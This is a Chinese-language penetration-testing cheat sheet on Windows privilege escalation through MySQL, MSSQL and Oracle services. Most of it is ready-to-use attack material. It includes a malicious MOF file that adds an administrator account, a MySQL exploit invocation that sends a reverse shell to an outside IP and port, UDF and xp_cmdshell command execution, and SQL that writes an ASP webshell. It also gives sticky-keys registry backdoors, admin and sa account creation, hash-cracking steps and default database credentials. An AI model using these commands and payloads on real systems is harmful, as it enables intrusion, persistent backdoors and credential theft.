渗透提权windows篇

Windows提权总结

关于常用命令请看常用命令.md

1. 本地提权

windows系统被爆出了很多提权漏洞,通常来说及时打补丁就能防止黑客在本地利用漏洞提权。换言之就是没打补丁就能提权,另外windows平台上许多软件也被爆出提权漏洞,所以说枚举目标机上打了哪些补丁、操作系统的版本以及安装了哪些软件对于利用漏洞提权来说十分重要。对于有安装杀软服务器要进行免杀。基本就是分为远程溢出和本地溢出其中远程溢出如果对方端口不对外开放可以通过代理打过去如445端口,本地溢出一般就是使用exp
一些常用命令:

systemifo 获取系统配置信息  
wmic os get caption 获取系统版本
wmic qfe get Description,HotFixID,InstalledOn 枚举安装的补丁  
powershell Get-HotFix 利用powershell获取安装的补丁
powershell "Get-WmiObject -Class Win32_Product | Select-Object -Property Name" 获取安装的软件

一些常用工具:
https://github.com/rasta-mouse/Sherlock
https://github.com/alpha1ab/CVE-2018-8120
https://github.com/GDSSecurity/Windows-Exploit-Suggester
https://github.com/5z1punch/GetRoot-Tools
https://github.com/xiaoxiaoleoWindows_Privilege_Escalation
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/nixawk/labs
https://github.com/breenmachine/RottenPotatoNG
https://github.com/ohpe/juicy-potato
https://github.com/Kevin-Robertson/Tater
https://github.com/Rootkitsmm/Win10Pcap-Exploit
https://github.com/AlessandroZ/BeRoot
https://github.com/ohpe/juicy-potato

2. 常见服务提权

mysql mssql oracle Ftp vnc postgresql等等服务

mysql

Mysql默认端口是3306端口,但也可以自定义端口可以通过扫描,查找连接数据库配置文件,netstat -aon,等等查看端口
关于mysql提权首先应该是找到密码,这个可以通过数据库配置文件或通过mysql目录下的data\mysql\user.MYD文件中查看mysql用户的hash值进行破解
一.MOf提权
MySQL Root权限MOF方法提权是来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploithttps://www.exploit-db.com/exploits/23083/,简称mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

方法1:运行 MOF 文件指定为命令行参数 Mofcomp.exe 文件。
方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。
方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用IMofCompiler::CompileFile方法。第三种方法仅为向后兼容性与早期版本的 WMI提供,并因为此功能可能不会提供在将来的版本后,不应使用。注意使用MOF方法提权的前提是当前Root帐号可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下,否则会失败!

该漏洞的利用前提条件是必须具备mysql的root权限,在Kingcope公布的0day中公布了一个pl利用脚本。

perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555

192.168.2.100为mysql数据库所在服务器,mysql口令为空,反弹到192.168.2.150的5555端口上。
2.生成nullevt.mof文件:

将以下代码保存为nullevt.mof文件:

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter

{ 

EventNamespace = "Root\\Cimv2"; 

Name  = "filtP2"; 

    Query = "Select \ From __InstanceModificationEvent " 

            "Where TargetInstance Isa \"Win32_LocalTime\" " 

            "And TargetInstance.Second = 5"; 

QueryLanguage = "WQL"; 

}; 



instance of ActiveScriptEventConsumer as $Consumer 

{ 

    Name = "consPCSV2"; 

ScriptingEngine = "JScript"; 

ScriptText = 

    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")"; 

}; 

instance of __FilterToConsumerBinding

{ 

    Consumer   = $Consumer; 

    Filter = $EventFilter; 

};

3.通过Mysql查询将文件导入
执行以下查询语句,将上面生成的nullevt.mof导入到c:\windows\system32\wbem\mof\目录下在windows7中默认是拒绝访问的。导入后系统会自动运行,执行命令。

selectload_file('C:\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

4.Msf直接mof提权
Msf下的exploit/windows/mysql/mysql_mof模块提供了直接Mof提权,不过该漏洞成功跟操作系统权限和Mysql数据库版本有关,执行成功后会直接反弹shell到meterpreter。

use exploit/windows/mysql/mysql_mof
set rhost 192.168.157.1 //设置需要提权的远程主机IP地址
set rport 3306 //设置mysql的远程端口
set password root //设置mysql数据库root密码
set username root //设置mysql用户名
options //查看设置
run 0

5.关于远程连接
要是能够通过网页连接管理(phpmyadmin),则可以修改host为%并刷新权限后,则可以通过msf等工具远程连接数据库。默认root等账号不允许远程连接,除非管理员或者数据库用户自己设置。

方法1:本地登入mysql,更改 mysql数据库里的 user 表里的 host项,将localhost改为%

use mysql;
update user set host = '%' where user = 'root';
FLUSH PRIVILEGES ;
select host, user from user;

方法2:直接授权(推荐)
从任何主机上使用root用户,密码:you password(你的root密码)连接到mysql服务器:

mysql -u root -proot
GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY 'you password' WITH GRANT OPTION;
FLUSH PRIVILEGES;

推荐重新增加一个用户,在实际测试过程中发现很多服务器使用root配置了多个地址,修改后可能会影响实际系统的运行。在实际测试过程中因此建议新增一个用户,授权所有权限,而不是直接更改root配置

二UDF提权

udf提权是利用mysql自定义函数功能
UDF提权条件

(1).Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。

(2).Mysql版本小于5.1版本。udf.dll文件可放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32,或者放到盘符的根目录下通过c:udf.dll来使用

(3).掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以

(4).可以将udf.dll写入到相应目录的权限

(5).在MYSQL 4.1以前的版本中,可以将所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。无论这个DLL在什么位置,函数的声明是什么样的。

(6).在MYSQL 4.1及以后的版本中,对UDF函数进行了限制,只有实现了一个特定接口的函数才可以被成功注册到MYSQL中,这样就防止了通过MYSQL非法调用系统的DLL
先获取mysql信息

select version();//获取数据库版本
select user();//获取数据库用户
select @@basedir ;//获取安装目录
show variables like '%plugins%';

MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数。
该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建libplugin文件夹,
然后将udf.dll文件导出到该目录即可
网上大牛发现利用NTFS ADS流来创建文件夹的方法:

select @@basedir;  //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录

如果mysql服务器开启了secure-file-priv选项,就只能将文件导出到指定目录下。
可以通过show variables like ‘%secure%’;查询secure-file-priv的值。
使用#注释掉mysql安装目录下my.ini 或者mysql.cnf中的secure_file_priv=”c:/tmp”一行,然后重启mysql就可以将文件导出到任意目录了

创建函数

create function cmdshell returns string soname "path_dll"

执行命令

select cmdshell('whoami');

删除函数

drop function cmdshell;

关于udf.dll可以使用sqlmap中或自己编译或直接用udf.php等等

sqlmap直连数据库提权

Sqlmap直接连接数据库提权,需要有写入权限和root账号及密码,命令如下
(1)连接数据库

sqlmap -d "mysql://root:root@127.0.0.1:3306/mysql" --os-shell

(2)选择操作系统的架构,32位操作系统选择1,64位选择2.

(3)自动上传udf或提示os-shell

(4)执行whomai命令如果获取系统权限,则表示提权成功

msfudf提权

use exploit/windows/mysql/mysql_payload
options
set rhost 192.168.2.1
set rport 3306
set username root
set password 123456
exploit

msf下udf提权成功率并不高,跟windows操作系统版本,权限和数据库版本有关,特别是secure-file-priv选项,如果有该选项基本不会成功

Msf其它相关漏洞提权
1.Mysql身份认证漏洞及利用(CVE-2012-2122)

当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,
会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。
也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。
按照公告说法大约256次就能够蒙对一次。
受影响的产品: All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞.

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23不存在漏洞.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not不存在漏洞.

auxiliary/scanner/mysql/mysql_authbypass_hashdump
exploit/windows/mysql/mysql_yassl_hello
exploit/windows/mysql/scrutinizer_upload_exec

mysql密码破解

cain工具破解mysql密码
使用UltraEdit-32编辑器直接打开user.MYD文件,打开后使用二进制模式进行查看,
在root用户后面是一串字符串,选中这些字符串将其复制到记事本中,
这些字符串即为用户加密值,例如506D1427F6F61696B4501445C90624897266DAE3。

注意:
(1)root后面的“”不要复制到字符串中。

(2)在有些情况下需要往后面看看,否则得到的不是完整的MYSQLSHA1密码,总之其正确的密码位数是40位。

安装cain工具,使用cracker,右键单击“Add tolist”将Mysql Hashes值加入到破解列表中,使用软件中的字典、暴力破解等方式来进行暴力破解。
网站在线密码破解
cmd5.com
www.somd5.com
https://www.mysql-password.com/
oclhash破解
hashcat支持很多种破解算法,免费开源软件,官方网站https://hashcat.net/hashcat
破解命令:

hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323类型

hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5类型

John the Ripper password cracker
John the Ripper下载地址:http://www.openwall.com/john/h/john179w2.zip,John the Ripper除了能够破解linux外,还能破解多种格式的密码如linux登陆密码

Echo 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txt
John –format =mysql-sha1 hashes.txt
john --list=formats | grep mysql //查看支持mysql密码破解的算法

https://github.com/Feng4/-/tree/master/php
https://github.com/v5est0r/Python_FuckMySQL
http://https://github.com/MaYaSeVeN/CVE-2016-6662
https://github.com/firebroo/CVE-2016-6663

mssql(SQLServer)

mssql提权
常用一点的

exec master..xp_cmdshell "whoami"

但默认情况下xp_cmdshell 是禁止的可以使用以下命令恢复

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; --开启xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE; --关闭xp_cmdshell
EXEC sp_configure 'show advanced options', 0;RECONFIGURE; --关闭show advanced options(关闭高级选项)

如果xp_cmdshell被删除,可以重新加载

dbcc addextendedproc("xp_cmdshell","xplog70.dll")

如果xplog70.dll文件被删可以尝试上传xplog70.dll进行恢复,恢复语句:

Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'

2.SP_OACREATE

当xp_cmdshell 删除以后,也可以使用SP_OACreate。
首先要打开组件:

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE; --开启
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE; --关毕
EXEC sp_configure 'show advanced options', 0;RECONFIGURE; --关闭show advanced options(关闭高级选项)
如果还不能运行可能是管理员删除了组件
恢复组件:
dbcc addextendedproc("sp_OACreate","odsole70.dll")  

常用sql语句

sp_OACreate删除文件

DECLARE @Result int
DECLARE @FSO_Token int
EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile', NULL, 'C:\1.txt'
EXEC @Result = sp_OADestroy @FSO_Token

sp_OACreate复制文件

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';

sp_OACreate移动文件

declare @aa int
exec sp_oacreate 'scripting.filesystemobject', @aa out
exec sp_oamethod @aa, 'moveFile',null,'c:\temp\ipmi.log', 'c:\temp\ipmi1.log';

sp_OACreate加管理员用户

DECLARE @js int
EXEC sp_OACreate 'ScriptControl',@js OUT
EXEC sp_OASetProperty @js, 'Language', 'JavaScript'
EXEC sp_OAMethod @js, 'Eval', NULL, 'var o=new ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'

3.sp_makewebtask
开启和关闭

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE; --开启
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',0;RECONFIGURE; --关毕
EXEC sp_configure 'show advanced options', 0;RECONFIGURE; --关闭show advanced options(关闭高级选项)

写文件

exec sp_makewebtask 'c:\www\testwr.asp','select''<%25execute(request("ok"))%25>'' ';

https://docs.microsoft.com/zh-cn/previous-versions/sql/sql-server-2005/ms175576(v=sql.90)
这里我配置Web Assistant Procedures失败(也可能是我本地环境的问题)
命令执行
wscript.shell

use master
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',null,'cmd /c whoami > C:\1.txt'

没有回显

shell.Application

declare @o int
exec sp_oacreate 'Shell.Application',@o out
exec sp_oamethod @o, 'ShellExecute',null,'cmd.exe','cmd /c net user >C:\1.txt','C:\windows\sytsem32\','','1';

这里我在sql server 2008 windows10上启动程序成功但并没有生成1.txt可能是没有执行命令行

exec sp_oamethod @o, 'ShellExecute',null,'user.vbs','','c:\','','1';

沙盒命令执行
利用jet.oledb执行系统命令

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami")')

默认不行
关闭系统沙盒模式,它在注册表的位置是
HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\Engine\SandBoxMode
默认键值为3,即只在Access的模式下开启沙盒模式,对应的键值是

0:在任何所有者中禁止启用安全模式
1 :为仅在允许范围内
2 :必须在access模式下
3 :完全开启
将其设置为0就可以关闭系统沙盒模式了

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0

然后利用jet.oledb执行系统命令whoami:

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami >C:\1.txt")')

无回显
注册表映像劫持
先恢复注册表的存储过程

exec sp_addextendedproc xp_regwrite,'xpstar.dll'

映像劫持

exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_SZ','c:\windows\system32\cmd.exe'

直接执行不行要16进制编码

exec xp_regwrite 0x484b45595f4c4f43414c5f4d414348494e45,0x534f4654574152455c4d6963726f736f66745c57696e646f7773204e545c43757272656e7456657273696f6e5c496d6167652046696c6520457865637574696f6e204f7074696f6e735c73657468632e657865,0x6465627567676572,0x5245475f535a,'c:\\windows\\system32\\taskmgr.exe

sp_oacreate

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

SQL Server CLR
https://xz.aliyun.com/t/248#toc-7

Xp_availablemedia          显示机器上有用的驱动器 
xp_enumgroups              列出当前系统的使用群组及其说明
Xp_dirtree                 允许获得一个目录树 
Xp_enumdsn                 列举服务器上的ODBC数据源 
Xp_loginconfig             获取服务器安全信息 
Xp_makecab                 允许用户在服务器上创建一个压缩文件 
Xp_ntsec_enumdomains       列举服务器可以进入的域 
Xp_terminate_process       提供进程的进程ID,终止此进程 
xp_servicecontrol          允许用户启动,停止服务
xp_regread                 存储过程修改注册表
xp_getfiledetails          获取某文件的相关属性
xp_cmdshell                执行命令

判断组件是否存在

SELECT count(*) FROM master.dbo.sysobjects WHERE xtype='x' AND name='xp_cmdshell'

恢复sp_addextendedproc

Use master
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc

sp_addextendedproc恢复各种扩展

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'

加sa账号

exec master.dbo.sp_addlogin username,password
exec master.dbo.sp_addsrvrolemember username,sysadmin

https://github.com/NetSPI/PowerUpSQL
sqltools2

oracle

有关于oracle数据库利用国内比较少基本都是千篇一律
一些默认账号和密码
Oracle 11g 默认用户名密码
安装Oracle时,若没有为下列用户重设密码,则其默认密码如下:

https://blog.csdn.net/weinichendian/article/details/78774253

下面介绍其中有几个账户的作用:

  1. SYS/CHANGE_ON_INSTALL or INTERNAL
    系统用户,数据字典所有者,超级权限所有者(SYSDBA)
    建议创建后立即修改密码,此用户不能被删除。

SYSTEM/MANAGER
数据库默认管理用户,拥有DBA角色权限
建议创建后立即修改密码,此用户不能被删除。

  1. OUTLN/OUTLN
    优化计划的存储大纲用户
    建议创建后立即修改密码,此用户不能被删除。

  2. SCOTT/TIGER, ADAMS/WOOD, JONES/STEEL, CLARK/CLOTH and BLAKE/PAPER.
    实验、测试用户,含有例表EMP与DEPT
    可以修改密码,用户可以被删除,在产品环境建议删除或锁定。

  3. HR/HR (Human Resources), OE/OE (Order Entry), SH/SH (Sales History).
    实验、测试用户,含有例表EMPLOYEES与DEPARTMENTS
    可以修改密码,用户可以被删除,在产品环境建议删除或锁定。

  4. DBSNMP/DBSNMP
    智能代理
    可以改变密码,需要放置新密码到snmp_rw.ora文件,如果不需要Intelligent Agents,可以删除。

这时候要找到一组用户名、密码提示被锁,才能进行下一步安装ORACLE时,若没有为下列用户重设密码,则其默认密码如下:

用户名/密码 登录身份 说明

sys/change_on_install SYSDBA或SYSOPER 不能以NORMAL登录,可作为默认的系统管理员

system/manager SYSDBA或NORMAL 不能以SYSOPER登录,可作为默认的系统管理员

sysman/oem_temp sysman 为oms的用户名

scott/tiger NORMAL 普通用户

aqadm /aqadm SYSDBA或NORMAL 高级队列管理员

Dbsnmp/dbsnmp SYSDBA或NORMAL 复制管理员

也可以试一下oracle system sys admin等等弱口令
或者在网站的数据库配置文件中寻找数据库连接信息
如果连接信息被编译成class可以用jad进行反编译查看连接配置

https://github.com/5z1punch/oracle_java_shell_client
https://github.com/quentinhardy/odat
https://github.com/kimtg/OracleShell

未完待续